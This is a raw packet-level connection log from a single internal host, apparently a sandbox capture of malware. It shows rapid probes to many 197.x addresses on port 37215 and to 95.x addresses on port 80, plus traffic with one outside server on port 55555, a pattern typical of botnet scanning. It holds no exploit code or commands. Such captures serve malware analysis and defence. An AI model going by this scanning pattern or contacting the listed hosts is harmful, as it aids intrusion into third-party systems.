Feb 27, 2025 07:08:34.467101097 CET	28354	37215	192.168.2.14	197.41.247.55
Feb 27, 2025 07:08:34.467153072 CET	28354	37215	192.168.2.14	197.107.129.241
Feb 27, 2025 07:08:34.467179060 CET	28354	37215	192.168.2.14	197.19.61.4
Feb 27, 2025 07:08:34.467195034 CET	28354	37215	192.168.2.14	197.108.243.191
Feb 27, 2025 07:08:34.467221022 CET	28354	37215	192.168.2.14	197.195.81.126
Feb 27, 2025 07:08:34.467303038 CET	28354	37215	192.168.2.14	197.13.101.45
Feb 27, 2025 07:08:34.467303038 CET	28354	37215	192.168.2.14	197.115.28.158
Feb 27, 2025 07:08:34.467327118 CET	28354	37215	192.168.2.14	197.153.67.10
Feb 27, 2025 07:08:34.467367887 CET	28354	37215	192.168.2.14	197.187.52.107
Feb 27, 2025 07:08:34.467376947 CET	28354	37215	192.168.2.14	197.168.125.225
Feb 27, 2025 07:08:34.467418909 CET	28354	37215	192.168.2.14	197.114.175.92
Feb 27, 2025 07:08:34.467478037 CET	28354	37215	192.168.2.14	197.249.182.20
Feb 27, 2025 07:08:34.467494965 CET	28354	37215	192.168.2.14	197.78.246.145
Feb 27, 2025 07:08:34.467508078 CET	28354	37215	192.168.2.14	197.7.98.194
Feb 27, 2025 07:08:34.469275951 CET	37215	28354	197.122.201.4	192.168.2.14
Feb 27, 2025 07:08:34.469290018 CET	37215	28354	197.155.158.69	192.168.2.14
Feb 27, 2025 07:08:34.469300985 CET	37215	28354	197.113.68.20	192.168.2.14
Feb 27, 2025 07:08:34.469314098 CET	37215	28354	197.200.99.189	192.168.2.14
Feb 27, 2025 07:08:34.469322920 CET	28354	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:34.469324112 CET	37215	28354	197.188.78.180	192.168.2.14
Feb 27, 2025 07:08:34.469332933 CET	28354	37215	192.168.2.14	197.155.158.69
Feb 27, 2025 07:08:34.469351053 CET	28354	37215	192.168.2.14	197.200.99.189
Feb 27, 2025 07:08:34.469352961 CET	28354	37215	192.168.2.14	197.113.68.20
Feb 27, 2025 07:08:34.469368935 CET	28354	37215	192.168.2.14	197.188.78.180
Feb 27, 2025 07:08:34.474291086 CET	37215	28354	197.0.226.251	192.168.2.14
Feb 27, 2025 07:08:34.474304914 CET	37215	28354	197.186.179.244	192.168.2.14
Feb 27, 2025 07:08:34.474317074 CET	37215	28354	197.14.207.80	192.168.2.14
Feb 27, 2025 07:08:34.474328041 CET	37215	28354	197.156.182.204	192.168.2.14
Feb 27, 2025 07:08:34.474338055 CET	37215	28354	197.183.247.234	192.168.2.14
Feb 27, 2025 07:08:34.474347115 CET	37215	28354	197.210.45.80	192.168.2.14
Feb 27, 2025 07:08:34.474358082 CET	37215	28354	197.185.165.210	192.168.2.14
Feb 27, 2025 07:08:34.474359989 CET	28354	37215	192.168.2.14	197.14.207.80
Feb 27, 2025 07:08:34.474369049 CET	37215	28354	197.198.185.216	192.168.2.14
Feb 27, 2025 07:08:34.474380016 CET	37215	28354	197.111.241.92	192.168.2.14
Feb 27, 2025 07:08:34.474390030 CET	37215	28354	197.188.15.108	192.168.2.14
Feb 27, 2025 07:08:34.474401951 CET	37215	28354	197.73.50.27	192.168.2.14
Feb 27, 2025 07:08:34.474414110 CET	37215	28354	197.13.197.215	192.168.2.14
Feb 27, 2025 07:08:34.474423885 CET	37215	28354	197.66.4.227	192.168.2.14
Feb 27, 2025 07:08:34.474436998 CET	37215	28354	197.104.194.31	192.168.2.14
Feb 27, 2025 07:08:34.474446058 CET	37215	28354	197.220.17.36	192.168.2.14
Feb 27, 2025 07:08:34.474447966 CET	28354	37215	192.168.2.14	197.198.185.216
Feb 27, 2025 07:08:34.474448919 CET	28354	37215	192.168.2.14	197.111.241.92
Feb 27, 2025 07:08:34.474452019 CET	28354	37215	192.168.2.14	197.186.179.244
Feb 27, 2025 07:08:34.474456072 CET	37215	28354	197.87.123.131	192.168.2.14
Feb 27, 2025 07:08:34.474457026 CET	28354	37215	192.168.2.14	197.156.182.204
Feb 27, 2025 07:08:34.474457026 CET	28354	37215	192.168.2.14	197.0.226.251
Feb 27, 2025 07:08:34.474464893 CET	28354	37215	192.168.2.14	197.13.197.215
Feb 27, 2025 07:08:34.474467039 CET	37215	28354	197.213.37.124	192.168.2.14
Feb 27, 2025 07:08:34.474467993 CET	28354	37215	192.168.2.14	197.73.50.27
Feb 27, 2025 07:08:34.474464893 CET	28354	37215	192.168.2.14	197.183.247.234
Feb 27, 2025 07:08:34.474473953 CET	28354	37215	192.168.2.14	197.210.45.80
Feb 27, 2025 07:08:34.474478006 CET	37215	28354	197.193.133.57	192.168.2.14
Feb 27, 2025 07:08:34.474488974 CET	37215	28354	197.155.7.67	192.168.2.14
Feb 27, 2025 07:08:34.474488974 CET	28354	37215	192.168.2.14	197.87.123.131
Feb 27, 2025 07:08:34.474489927 CET	28354	37215	192.168.2.14	197.185.165.210
Feb 27, 2025 07:08:34.474498034 CET	37215	28354	197.233.146.207	192.168.2.14
Feb 27, 2025 07:08:34.474507093 CET	28354	37215	192.168.2.14	197.188.15.108
Feb 27, 2025 07:08:34.474509954 CET	37215	28354	197.196.114.114	192.168.2.14
Feb 27, 2025 07:08:34.474509954 CET	28354	37215	192.168.2.14	197.66.4.227
Feb 27, 2025 07:08:34.474519968 CET	28354	37215	192.168.2.14	197.104.194.31
Feb 27, 2025 07:08:34.474520922 CET	37215	28354	197.144.83.131	192.168.2.14
Feb 27, 2025 07:08:34.474524021 CET	28354	37215	192.168.2.14	197.213.37.124
Feb 27, 2025 07:08:34.474524021 CET	28354	37215	192.168.2.14	197.233.146.207
Feb 27, 2025 07:08:34.474524975 CET	28354	37215	192.168.2.14	197.193.133.57
Feb 27, 2025 07:08:34.474526882 CET	28354	37215	192.168.2.14	197.220.17.36
Feb 27, 2025 07:08:34.474534988 CET	37215	28354	197.114.167.203	192.168.2.14
Feb 27, 2025 07:08:34.474550009 CET	37215	28354	197.35.40.175	192.168.2.14
Feb 27, 2025 07:08:34.474561930 CET	37215	28354	197.154.151.222	192.168.2.14
Feb 27, 2025 07:08:34.474572897 CET	37215	28354	197.247.202.137	192.168.2.14
Feb 27, 2025 07:08:34.474584103 CET	37215	28354	197.175.2.76	192.168.2.14
Feb 27, 2025 07:08:34.474594116 CET	28354	37215	192.168.2.14	197.155.7.67
Feb 27, 2025 07:08:34.474596024 CET	37215	28354	197.153.124.75	192.168.2.14
Feb 27, 2025 07:08:34.474602938 CET	28354	37215	192.168.2.14	197.144.83.131
Feb 27, 2025 07:08:34.474603891 CET	28354	37215	192.168.2.14	197.196.114.114
Feb 27, 2025 07:08:34.474608898 CET	37215	28354	197.121.215.42	192.168.2.14
Feb 27, 2025 07:08:34.474612951 CET	28354	37215	192.168.2.14	197.35.40.175
Feb 27, 2025 07:08:34.474621058 CET	37215	28354	197.180.59.182	192.168.2.14
Feb 27, 2025 07:08:34.474622965 CET	28354	37215	192.168.2.14	197.154.151.222
Feb 27, 2025 07:08:34.474623919 CET	28354	37215	192.168.2.14	197.114.167.203
Feb 27, 2025 07:08:34.474623919 CET	28354	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:34.474632025 CET	37215	28354	197.22.1.231	192.168.2.14
Feb 27, 2025 07:08:34.474632025 CET	28354	37215	192.168.2.14	197.175.2.76
Feb 27, 2025 07:08:34.474642992 CET	37215	28354	197.169.234.129	192.168.2.14
Feb 27, 2025 07:08:34.474646091 CET	28354	37215	192.168.2.14	197.153.124.75
Feb 27, 2025 07:08:34.474653006 CET	28354	37215	192.168.2.14	197.121.215.42
Feb 27, 2025 07:08:34.474656105 CET	37215	28354	197.251.54.242	192.168.2.14
Feb 27, 2025 07:08:34.474663019 CET	28354	37215	192.168.2.14	197.22.1.231
Feb 27, 2025 07:08:34.474666119 CET	37215	28354	197.24.182.85	192.168.2.14
Feb 27, 2025 07:08:34.474667072 CET	28354	37215	192.168.2.14	197.180.59.182
Feb 27, 2025 07:08:34.474670887 CET	37215	28354	197.71.137.102	192.168.2.14
Feb 27, 2025 07:08:34.474675894 CET	37215	28354	197.135.196.234	192.168.2.14
Feb 27, 2025 07:08:34.474685907 CET	37215	28354	197.8.223.43	192.168.2.14
Feb 27, 2025 07:08:34.474697113 CET	37215	28354	197.132.160.82	192.168.2.14
Feb 27, 2025 07:08:34.474708080 CET	37215	28354	197.111.112.210	192.168.2.14
Feb 27, 2025 07:08:34.474711895 CET	28354	37215	192.168.2.14	197.251.54.242
Feb 27, 2025 07:08:34.474716902 CET	28354	37215	192.168.2.14	197.169.234.129
Feb 27, 2025 07:08:34.474720001 CET	37215	28354	197.94.193.85	192.168.2.14
Feb 27, 2025 07:08:34.474725008 CET	28354	37215	192.168.2.14	197.71.137.102
Feb 27, 2025 07:08:34.474729061 CET	28354	37215	192.168.2.14	197.24.182.85
Feb 27, 2025 07:08:34.474729061 CET	28354	37215	192.168.2.14	197.135.196.234
Feb 27, 2025 07:08:34.474731922 CET	37215	28354	197.255.17.129	192.168.2.14
Feb 27, 2025 07:08:34.474742889 CET	37215	28354	197.20.49.166	192.168.2.14
Feb 27, 2025 07:08:34.474756002 CET	37215	28354	197.243.151.67	192.168.2.14
Feb 27, 2025 07:08:34.474766016 CET	37215	28354	197.240.150.89	192.168.2.14
Feb 27, 2025 07:08:34.474771023 CET	28354	37215	192.168.2.14	197.8.223.43
Feb 27, 2025 07:08:34.474776983 CET	37215	28354	197.71.61.75	192.168.2.14
Feb 27, 2025 07:08:34.474785089 CET	28354	37215	192.168.2.14	197.20.49.166
Feb 27, 2025 07:08:34.474786997 CET	28354	37215	192.168.2.14	197.111.112.210
Feb 27, 2025 07:08:34.474786997 CET	28354	37215	192.168.2.14	197.94.193.85
Feb 27, 2025 07:08:34.474786997 CET	28354	37215	192.168.2.14	197.132.160.82
Feb 27, 2025 07:08:34.474786997 CET	28354	37215	192.168.2.14	197.255.17.129
Feb 27, 2025 07:08:34.474788904 CET	37215	28354	197.182.79.140	192.168.2.14
Feb 27, 2025 07:08:34.474796057 CET	28354	37215	192.168.2.14	197.240.150.89
Feb 27, 2025 07:08:34.474802017 CET	37215	28354	197.111.198.8	192.168.2.14
Feb 27, 2025 07:08:34.474802971 CET	28354	37215	192.168.2.14	197.243.151.67
Feb 27, 2025 07:08:34.474812984 CET	37215	28354	197.133.242.245	192.168.2.14
Feb 27, 2025 07:08:34.474823952 CET	37215	28354	197.184.47.64	192.168.2.14
Feb 27, 2025 07:08:34.474833965 CET	37215	28354	197.225.220.135	192.168.2.14
Feb 27, 2025 07:08:34.474838018 CET	28354	37215	192.168.2.14	197.182.79.140
Feb 27, 2025 07:08:34.474838018 CET	28354	37215	192.168.2.14	197.111.198.8
Feb 27, 2025 07:08:34.474841118 CET	37215	28354	197.174.124.163	192.168.2.14
Feb 27, 2025 07:08:34.474841118 CET	28354	37215	192.168.2.14	197.71.61.75
Feb 27, 2025 07:08:34.474850893 CET	28354	37215	192.168.2.14	197.133.242.245
Feb 27, 2025 07:08:34.474853992 CET	37215	28354	197.3.230.4	192.168.2.14
Feb 27, 2025 07:08:34.474864960 CET	37215	28354	197.233.12.90	192.168.2.14
Feb 27, 2025 07:08:34.474875927 CET	37215	28354	197.20.52.21	192.168.2.14
Feb 27, 2025 07:08:34.474886894 CET	37215	28354	197.209.105.119	192.168.2.14
Feb 27, 2025 07:08:34.474890947 CET	28354	37215	192.168.2.14	197.225.220.135
Feb 27, 2025 07:08:34.474895954 CET	28354	37215	192.168.2.14	197.184.47.64
Feb 27, 2025 07:08:34.474896908 CET	37215	28354	197.234.239.154	192.168.2.14
Feb 27, 2025 07:08:34.474895954 CET	28354	37215	192.168.2.14	197.20.52.21
Feb 27, 2025 07:08:34.474908113 CET	37215	28354	197.112.195.73	192.168.2.14
Feb 27, 2025 07:08:34.474914074 CET	28354	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:34.474915028 CET	28354	37215	192.168.2.14	197.3.230.4
Feb 27, 2025 07:08:34.474919081 CET	37215	28354	197.151.244.255	192.168.2.14
Feb 27, 2025 07:08:34.474930048 CET	37215	28354	197.23.162.18	192.168.2.14
Feb 27, 2025 07:08:34.474934101 CET	28354	37215	192.168.2.14	197.233.12.90
Feb 27, 2025 07:08:34.474941015 CET	37215	28354	197.81.122.47	192.168.2.14
Feb 27, 2025 07:08:34.474944115 CET	28354	37215	192.168.2.14	197.209.105.119
Feb 27, 2025 07:08:34.474944115 CET	28354	37215	192.168.2.14	197.234.239.154
Feb 27, 2025 07:08:34.474951982 CET	37215	28354	197.196.191.228	192.168.2.14
Feb 27, 2025 07:08:34.474963903 CET	37215	28354	197.158.163.249	192.168.2.14
Feb 27, 2025 07:08:34.474980116 CET	37215	28354	197.175.62.249	192.168.2.14
Feb 27, 2025 07:08:34.474989891 CET	28354	37215	192.168.2.14	197.112.195.73
Feb 27, 2025 07:08:34.474992990 CET	37215	28354	197.201.172.214	192.168.2.14
Feb 27, 2025 07:08:34.474999905 CET	28354	37215	192.168.2.14	197.196.191.228
Feb 27, 2025 07:08:34.475002050 CET	28354	37215	192.168.2.14	197.151.244.255
Feb 27, 2025 07:08:34.475004911 CET	37215	28354	197.43.149.191	192.168.2.14
Feb 27, 2025 07:08:34.475004911 CET	28354	37215	192.168.2.14	197.81.122.47
Feb 27, 2025 07:08:34.475006104 CET	28354	37215	192.168.2.14	197.158.163.249
Feb 27, 2025 07:08:34.475008965 CET	28354	37215	192.168.2.14	197.23.162.18
Feb 27, 2025 07:08:34.475016117 CET	37215	28354	197.0.59.184	192.168.2.14
Feb 27, 2025 07:08:34.475023985 CET	28354	37215	192.168.2.14	197.175.62.249
Feb 27, 2025 07:08:34.475025892 CET	28354	37215	192.168.2.14	197.201.172.214
Feb 27, 2025 07:08:34.475027084 CET	28354	37215	192.168.2.14	197.43.149.191
Feb 27, 2025 07:08:34.475029945 CET	37215	28354	197.55.168.239	192.168.2.14
Feb 27, 2025 07:08:34.475039959 CET	37215	28354	197.222.249.18	192.168.2.14
Feb 27, 2025 07:08:34.475052118 CET	37215	28354	197.9.163.194	192.168.2.14
Feb 27, 2025 07:08:34.475064039 CET	28354	37215	192.168.2.14	197.0.59.184
Feb 27, 2025 07:08:34.475065947 CET	37215	28354	197.99.235.121	192.168.2.14
Feb 27, 2025 07:08:34.475076914 CET	37215	28354	197.1.223.53	192.168.2.14
Feb 27, 2025 07:08:34.475086927 CET	37215	28354	197.208.163.89	192.168.2.14
Feb 27, 2025 07:08:34.475099087 CET	37215	28354	197.123.184.37	192.168.2.14
Feb 27, 2025 07:08:34.475097895 CET	28354	37215	192.168.2.14	197.222.249.18
Feb 27, 2025 07:08:34.475110054 CET	37215	28354	197.143.63.188	192.168.2.14
Feb 27, 2025 07:08:34.475116968 CET	28354	37215	192.168.2.14	197.55.168.239
Feb 27, 2025 07:08:34.475121975 CET	37215	28354	197.177.199.246	192.168.2.14
Feb 27, 2025 07:08:34.475131989 CET	37215	28354	197.25.106.16	192.168.2.14
Feb 27, 2025 07:08:34.475142002 CET	37215	28354	197.171.161.89	192.168.2.14
Feb 27, 2025 07:08:34.475142956 CET	28354	37215	192.168.2.14	197.208.163.89
Feb 27, 2025 07:08:34.475145102 CET	28354	37215	192.168.2.14	197.99.235.121
Feb 27, 2025 07:08:34.475145102 CET	28354	37215	192.168.2.14	197.9.163.194
Feb 27, 2025 07:08:34.475148916 CET	37215	28354	197.27.193.249	192.168.2.14
Feb 27, 2025 07:08:34.475155115 CET	28354	37215	192.168.2.14	197.123.184.37
Feb 27, 2025 07:08:34.475156069 CET	28354	37215	192.168.2.14	197.1.223.53
Feb 27, 2025 07:08:34.475156069 CET	37215	28354	197.143.78.49	192.168.2.14
Feb 27, 2025 07:08:34.475161076 CET	28354	37215	192.168.2.14	197.143.63.188
Feb 27, 2025 07:08:34.475167036 CET	37215	28354	197.79.152.119	192.168.2.14
Feb 27, 2025 07:08:34.475171089 CET	28354	37215	192.168.2.14	197.177.199.246
Feb 27, 2025 07:08:34.475172043 CET	28354	37215	192.168.2.14	197.25.106.16
Feb 27, 2025 07:08:34.475176096 CET	28354	37215	192.168.2.14	197.171.161.89
Feb 27, 2025 07:08:34.475178003 CET	37215	28354	197.234.59.88	192.168.2.14
Feb 27, 2025 07:08:34.475250959 CET	28354	37215	192.168.2.14	197.27.193.249
Feb 27, 2025 07:08:34.475259066 CET	28354	37215	192.168.2.14	197.143.78.49
Feb 27, 2025 07:08:34.475259066 CET	28354	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:34.475265980 CET	28354	37215	192.168.2.14	197.79.152.119
Feb 27, 2025 07:08:34.479305983 CET	37215	28354	197.55.116.240	192.168.2.14
Feb 27, 2025 07:08:34.479325056 CET	37215	28354	197.33.78.29	192.168.2.14
Feb 27, 2025 07:08:34.479334116 CET	37215	28354	197.164.124.28	192.168.2.14
Feb 27, 2025 07:08:34.479345083 CET	37215	28354	197.178.38.227	192.168.2.14
Feb 27, 2025 07:08:34.479357004 CET	37215	28354	197.3.17.71	192.168.2.14
Feb 27, 2025 07:08:34.479360104 CET	28354	37215	192.168.2.14	197.55.116.240
Feb 27, 2025 07:08:34.479367971 CET	37215	28354	197.85.122.173	192.168.2.14
Feb 27, 2025 07:08:34.479368925 CET	28354	37215	192.168.2.14	197.33.78.29
Feb 27, 2025 07:08:34.479377031 CET	28354	37215	192.168.2.14	197.164.124.28
Feb 27, 2025 07:08:34.479378939 CET	37215	28354	197.13.238.119	192.168.2.14
Feb 27, 2025 07:08:34.479383945 CET	28354	37215	192.168.2.14	197.178.38.227
Feb 27, 2025 07:08:34.479388952 CET	37215	28354	197.73.229.142	192.168.2.14
Feb 27, 2025 07:08:34.479398966 CET	28354	37215	192.168.2.14	197.3.17.71
Feb 27, 2025 07:08:34.479399920 CET	37215	28354	197.171.27.158	192.168.2.14
Feb 27, 2025 07:08:34.479408979 CET	28354	37215	192.168.2.14	197.85.122.173
Feb 27, 2025 07:08:34.479410887 CET	37215	28354	197.185.46.150	192.168.2.14
Feb 27, 2025 07:08:34.479418039 CET	37215	28354	197.148.165.145	192.168.2.14
Feb 27, 2025 07:08:34.479429960 CET	28354	37215	192.168.2.14	197.73.229.142
Feb 27, 2025 07:08:34.479429960 CET	55555	39290	139.59.126.134	192.168.2.14
Feb 27, 2025 07:08:34.479432106 CET	28354	37215	192.168.2.14	197.13.238.119
Feb 27, 2025 07:08:34.479444027 CET	37215	28354	197.53.23.73	192.168.2.14
Feb 27, 2025 07:08:34.479454994 CET	37215	28354	197.155.4.33	192.168.2.14
Feb 27, 2025 07:08:34.479466915 CET	37215	28354	197.65.95.245	192.168.2.14
Feb 27, 2025 07:08:34.479477882 CET	37215	28354	197.74.14.186	192.168.2.14
Feb 27, 2025 07:08:34.479485035 CET	28354	37215	192.168.2.14	197.185.46.150
Feb 27, 2025 07:08:34.479487896 CET	37215	28354	197.52.187.243	192.168.2.14
Feb 27, 2025 07:08:34.479489088 CET	28354	37215	192.168.2.14	197.171.27.158
Feb 27, 2025 07:08:34.479494095 CET	37215	28354	197.92.31.196	192.168.2.14
Feb 27, 2025 07:08:34.479494095 CET	28354	37215	192.168.2.14	197.155.4.33
Feb 27, 2025 07:08:34.479499102 CET	28354	37215	192.168.2.14	197.148.165.145
Feb 27, 2025 07:08:34.479500055 CET	28354	37215	192.168.2.14	197.53.23.73
Feb 27, 2025 07:08:34.479504108 CET	37215	28354	197.193.192.94	192.168.2.14
Feb 27, 2025 07:08:34.479504108 CET	39290	55555	192.168.2.14	139.59.126.134
Feb 27, 2025 07:08:34.479504108 CET	28354	37215	192.168.2.14	197.65.95.245
Feb 27, 2025 07:08:34.479516029 CET	37215	28354	197.164.233.79	192.168.2.14
Feb 27, 2025 07:08:34.479526043 CET	37215	28354	197.217.182.195	192.168.2.14
Feb 27, 2025 07:08:34.479527950 CET	28354	37215	192.168.2.14	197.92.31.196
Feb 27, 2025 07:08:34.479535103 CET	28354	37215	192.168.2.14	197.74.14.186
Feb 27, 2025 07:08:34.479537964 CET	37215	28354	197.219.121.124	192.168.2.14
Feb 27, 2025 07:08:34.479548931 CET	37215	28354	197.80.71.250	192.168.2.14
Feb 27, 2025 07:08:34.479548931 CET	28354	37215	192.168.2.14	197.52.187.243
Feb 27, 2025 07:08:34.479559898 CET	37215	28354	197.75.126.211	192.168.2.14
Feb 27, 2025 07:08:34.479561090 CET	28354	37215	192.168.2.14	197.217.182.195
Feb 27, 2025 07:08:34.479563951 CET	28354	37215	192.168.2.14	197.219.121.124
Feb 27, 2025 07:08:34.479568005 CET	28354	37215	192.168.2.14	197.193.192.94
Feb 27, 2025 07:08:34.479572058 CET	28354	37215	192.168.2.14	197.164.233.79
Feb 27, 2025 07:08:34.479573011 CET	37215	28354	197.181.11.136	192.168.2.14
Feb 27, 2025 07:08:34.479573011 CET	28354	37215	192.168.2.14	197.80.71.250
Feb 27, 2025 07:08:34.479585886 CET	37215	28354	197.223.6.168	192.168.2.14
Feb 27, 2025 07:08:34.479598999 CET	37215	28354	197.192.177.103	192.168.2.14
Feb 27, 2025 07:08:34.479609966 CET	37215	28354	197.50.15.95	192.168.2.14
Feb 27, 2025 07:08:34.479621887 CET	37215	28354	197.65.157.21	192.168.2.14
Feb 27, 2025 07:08:34.479625940 CET	28354	37215	192.168.2.14	197.75.126.211
Feb 27, 2025 07:08:34.479625940 CET	28354	37215	192.168.2.14	197.181.11.136
Feb 27, 2025 07:08:34.479633093 CET	37215	28354	197.156.179.143	192.168.2.14
Feb 27, 2025 07:08:34.479644060 CET	37215	28354	197.198.53.106	192.168.2.14
Feb 27, 2025 07:08:34.479654074 CET	37215	28354	197.240.181.106	192.168.2.14
Feb 27, 2025 07:08:34.479664087 CET	28354	37215	192.168.2.14	197.192.177.103
Feb 27, 2025 07:08:34.479665041 CET	37215	28354	197.93.195.8	192.168.2.14
Feb 27, 2025 07:08:34.479667902 CET	28354	37215	192.168.2.14	197.223.6.168
Feb 27, 2025 07:08:34.479675055 CET	28354	37215	192.168.2.14	197.198.53.106
Feb 27, 2025 07:08:34.479674101 CET	28354	37215	192.168.2.14	197.65.157.21
Feb 27, 2025 07:08:34.479676962 CET	37215	28354	197.59.27.55	192.168.2.14
Feb 27, 2025 07:08:34.479681969 CET	28354	37215	192.168.2.14	197.240.181.106
Feb 27, 2025 07:08:34.479681969 CET	28354	37215	192.168.2.14	197.50.15.95
Feb 27, 2025 07:08:34.479681969 CET	28354	37215	192.168.2.14	197.156.179.143
Feb 27, 2025 07:08:34.479687929 CET	37215	28354	197.226.163.209	192.168.2.14
Feb 27, 2025 07:08:34.479695082 CET	28354	37215	192.168.2.14	197.93.195.8
Feb 27, 2025 07:08:34.479698896 CET	37215	28354	197.113.98.176	192.168.2.14
Feb 27, 2025 07:08:34.479710102 CET	37215	28354	197.22.68.245	192.168.2.14
Feb 27, 2025 07:08:34.479722023 CET	37215	28354	197.205.58.231	192.168.2.14
Feb 27, 2025 07:08:34.479723930 CET	28354	37215	192.168.2.14	197.59.27.55
Feb 27, 2025 07:08:34.479724884 CET	28354	37215	192.168.2.14	197.226.163.209
Feb 27, 2025 07:08:34.479726076 CET	28354	37215	192.168.2.14	197.113.98.176
Feb 27, 2025 07:08:34.479732990 CET	37215	28354	197.239.12.144	192.168.2.14
Feb 27, 2025 07:08:34.479743958 CET	37215	28354	197.27.155.122	192.168.2.14
Feb 27, 2025 07:08:34.479754925 CET	37215	28354	197.142.198.174	192.168.2.14
Feb 27, 2025 07:08:34.479765892 CET	37215	28354	197.64.113.78	192.168.2.14
Feb 27, 2025 07:08:34.479765892 CET	28354	37215	192.168.2.14	197.205.58.231
Feb 27, 2025 07:08:34.479777098 CET	37215	28354	197.68.129.203	192.168.2.14
Feb 27, 2025 07:08:34.479789019 CET	37215	28354	197.3.100.241	192.168.2.14
Feb 27, 2025 07:08:34.479799986 CET	37215	28354	197.170.100.209	192.168.2.14
Feb 27, 2025 07:08:34.479806900 CET	28354	37215	192.168.2.14	197.239.12.144
Feb 27, 2025 07:08:34.479809046 CET	28354	37215	192.168.2.14	197.64.113.78
Feb 27, 2025 07:08:34.479809046 CET	28354	37215	192.168.2.14	197.22.68.245
Feb 27, 2025 07:08:34.479809046 CET	28354	37215	192.168.2.14	197.27.155.122
Feb 27, 2025 07:08:34.479810953 CET	37215	28354	197.51.100.109	192.168.2.14
Feb 27, 2025 07:08:34.479820013 CET	28354	37215	192.168.2.14	197.68.129.203
Feb 27, 2025 07:08:34.479825974 CET	37215	28354	197.131.187.227	192.168.2.14
Feb 27, 2025 07:08:34.479839087 CET	37215	28354	197.146.34.24	192.168.2.14
Feb 27, 2025 07:08:34.479854107 CET	28354	37215	192.168.2.14	197.142.198.174
Feb 27, 2025 07:08:34.479854107 CET	28354	37215	192.168.2.14	197.170.100.209
Feb 27, 2025 07:08:34.479855061 CET	28354	37215	192.168.2.14	197.3.100.241
Feb 27, 2025 07:08:34.479860067 CET	37215	28354	197.162.183.54	192.168.2.14
Feb 27, 2025 07:08:34.479873896 CET	37215	28354	197.84.120.208	192.168.2.14
Feb 27, 2025 07:08:34.479876995 CET	28354	37215	192.168.2.14	197.146.34.24
Feb 27, 2025 07:08:34.479877949 CET	28354	37215	192.168.2.14	197.51.100.109
Feb 27, 2025 07:08:34.479878902 CET	28354	37215	192.168.2.14	197.131.187.227
Feb 27, 2025 07:08:34.479882956 CET	37215	28354	197.97.147.87	192.168.2.14
Feb 27, 2025 07:08:34.479895115 CET	37215	28354	197.41.247.55	192.168.2.14
Feb 27, 2025 07:08:34.479906082 CET	37215	28354	197.107.129.241	192.168.2.14
Feb 27, 2025 07:08:34.479917049 CET	37215	28354	197.19.61.4	192.168.2.14
Feb 27, 2025 07:08:34.479927063 CET	37215	28354	197.108.243.191	192.168.2.14
Feb 27, 2025 07:08:34.479927063 CET	28354	37215	192.168.2.14	197.162.183.54
Feb 27, 2025 07:08:34.479927063 CET	28354	37215	192.168.2.14	197.41.247.55
Feb 27, 2025 07:08:34.479938030 CET	37215	28354	197.195.81.126	192.168.2.14
Feb 27, 2025 07:08:34.479948997 CET	37215	28354	197.13.101.45	192.168.2.14
Feb 27, 2025 07:08:34.479954958 CET	37215	28354	197.115.28.158	192.168.2.14
Feb 27, 2025 07:08:34.479965925 CET	28354	37215	192.168.2.14	197.108.243.191
Feb 27, 2025 07:08:34.479965925 CET	37215	28354	197.153.67.10	192.168.2.14
Feb 27, 2025 07:08:34.479970932 CET	28354	37215	192.168.2.14	197.84.120.208
Feb 27, 2025 07:08:34.479970932 CET	28354	37215	192.168.2.14	197.97.147.87
Feb 27, 2025 07:08:34.479975939 CET	37215	28354	197.168.125.225	192.168.2.14
Feb 27, 2025 07:08:34.479970932 CET	28354	37215	192.168.2.14	197.107.129.241
Feb 27, 2025 07:08:34.479984045 CET	28354	37215	192.168.2.14	197.19.61.4
Feb 27, 2025 07:08:34.479988098 CET	37215	28354	197.187.52.107	192.168.2.14
Feb 27, 2025 07:08:34.479990005 CET	28354	37215	192.168.2.14	197.195.81.126
Feb 27, 2025 07:08:34.479990959 CET	28354	37215	192.168.2.14	197.13.101.45
Feb 27, 2025 07:08:34.479990959 CET	28354	37215	192.168.2.14	197.115.28.158
Feb 27, 2025 07:08:34.479999065 CET	28354	37215	192.168.2.14	197.153.67.10
Feb 27, 2025 07:08:34.480000019 CET	37215	28354	197.114.175.92	192.168.2.14
Feb 27, 2025 07:08:34.480007887 CET	28354	37215	192.168.2.14	197.168.125.225
Feb 27, 2025 07:08:34.480012894 CET	37215	28354	197.249.182.20	192.168.2.14
Feb 27, 2025 07:08:34.480026007 CET	37215	28354	197.78.246.145	192.168.2.14
Feb 27, 2025 07:08:34.480036974 CET	37215	28354	197.7.98.194	192.168.2.14
Feb 27, 2025 07:08:34.480068922 CET	28354	37215	192.168.2.14	197.249.182.20
Feb 27, 2025 07:08:34.480077028 CET	28354	37215	192.168.2.14	197.187.52.107
Feb 27, 2025 07:08:34.480077028 CET	28354	37215	192.168.2.14	197.78.246.145
Feb 27, 2025 07:08:34.480084896 CET	28354	37215	192.168.2.14	197.114.175.92
Feb 27, 2025 07:08:34.480087042 CET	28354	37215	192.168.2.14	197.7.98.194
Feb 27, 2025 07:08:34.513763905 CET	60094	37215	192.168.2.14	197.207.18.102
Feb 27, 2025 07:08:34.518906116 CET	37215	60094	197.207.18.102	192.168.2.14
Feb 27, 2025 07:08:34.518954039 CET	60094	37215	192.168.2.14	197.207.18.102
Feb 27, 2025 07:08:34.520066977 CET	39290	55555	192.168.2.14	139.59.126.134
Feb 27, 2025 07:08:34.521652937 CET	28098	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:34.521769047 CET	28098	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:34.521771908 CET	28098	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:34.521789074 CET	28098	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:34.521807909 CET	28098	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:34.521831036 CET	28098	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:34.521850109 CET	28098	80	192.168.2.14	95.78.36.212
Feb 27, 2025 07:08:34.521876097 CET	28098	80	192.168.2.14	95.248.45.40
Feb 27, 2025 07:08:34.521927118 CET	28098	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:34.521946907 CET	28098	80	192.168.2.14	95.131.113.215
Feb 27, 2025 07:08:34.521956921 CET	28098	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:34.521986961 CET	28098	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:34.522003889 CET	28098	80	192.168.2.14	95.151.116.189
